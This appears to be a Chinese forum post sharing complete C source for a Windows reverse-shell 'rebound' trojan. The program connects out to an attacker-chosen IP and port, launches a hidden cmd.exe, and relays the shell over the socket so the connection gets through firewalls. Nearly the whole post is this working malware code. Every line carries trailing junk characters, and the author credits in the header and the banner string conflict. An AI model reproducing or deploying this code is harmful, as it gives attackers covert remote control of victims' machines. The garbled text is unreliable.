这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \3(d$_:b
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/* ============================== EUj'%;sz-
Rebound port in Windows NT ~HD:Y7
By wind,2006/7 MNNPBE
===============================*/ Sc;WraEn2
#include GcQO&oq|
#include w+bQpIPM
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#pragma comment(lib,"wsock32.lib") 3Xaw
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void OutputShell(); bS_!KU
SOCKET sClient; d !
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [>+(zlK"
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void main(int argc,char **argv) f_X]2in
{ 6|3$43J,F
WSADATA stWsaData; ~M%r.WFpA
int nRet; ,2vPmff
SOCKADDR_IN stSaiClient,stSaiServer; 2/f:VB?<T
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if(argc != 3) CZv.$H"lW
{ ]L4B
printf("Useage:\n\rRebound DestIP DestPort\n"); g?!vRid@S
return; 4lH$BIAW
} #Yi,EwD
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WSAStartup(MAKEWORD(2,2),&stWsaData); RG-pN()
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S P)$K=
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stSaiClient.sin_family = AF_INET; S/& _
stSaiClient.sin_port = htons(0); 0f/=C9L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ma>{((N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?as)vYP
{ KHKf+^u u
printf("Bind Socket Failed!\n");
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return; HJ]\VP9Zb
} i /R8Gb
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stSaiServer.sin_family = AF_INET; f m.-*`ax
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M0DdrL/
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); utKtxLX"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZurQr}
{ 4]RGLN
printf("Connect Error!"); }Og zSnR
return; IF%^HK@
} 7(lR$,bE;=
OutputShell(); *;. l/
} !r$?66q/
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void OutputShell() #~%tdmGuL
{ 4(Gs$QkSo|
char szBuff[1024]; " &'Jw
SECURITY_ATTRIBUTES stSecurityAttributes; h"cLZM:6
OSVERSIONINFO stOsversionInfo; :ak D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NJSzOL_
STARTUPINFO stStartupInfo; sF^3KJ|
char *szShell; 7$x~}*u
PROCESS_INFORMATION stProcessInformation; <@ D`16%&
unsigned long lBytesRead; B5pMcw
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (nfra,'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); He="S3XON
stSecurityAttributes.lpSecurityDescriptor = 0; '$*d:1
stSecurityAttributes.bInheritHandle = TRUE; 1BUdl=o>S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ja*k\w{U'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tJo,^fdfv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &-W5T?Sl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2f ]CnD0$
stStartupInfo.wShowWindow = SW_HIDE; tmiRv.Mhn<
stStartupInfo.hStdInput = hReadPipe; "I?sz)pxG
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1XQJ#J1/
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GetVersionEx(&stOsversionInfo); xnWCio>M
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switch(stOsversionInfo.dwPlatformId) eW#U<x%P
{ awN{F6@ZE
case 1: S]iMZ \I/
szShell = "command.com"; \^2%v~
break; mz@`*^7?
default: cMOvM0f
szShell = "cmd.exe"; :#v8K;C
break; &x19]?D"+
} '{WYho!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j>X;a39|
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send(sClient,szMsg,77,0); 4&;.>{:;
while(1) }c(".v#
{ zlzr;7m
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N8|=K_;&
if(lBytesRead) hM\<1D
CKG
{ CLU !/J$!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'jWd7w~(
send(sClient,szBuff,lBytesRead,0); c0jdZ#H
} &WAO.*:y
else n~N>c*p
{ e_s9E{(
lBytesRead=recv(sClient,szBuff,1024,0); *f|9A/*B3
if(lBytesRead<=0) break; T">-%-t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2T/C!^iJ)
} x
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} ?F' gh4
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return; hWpn~q
}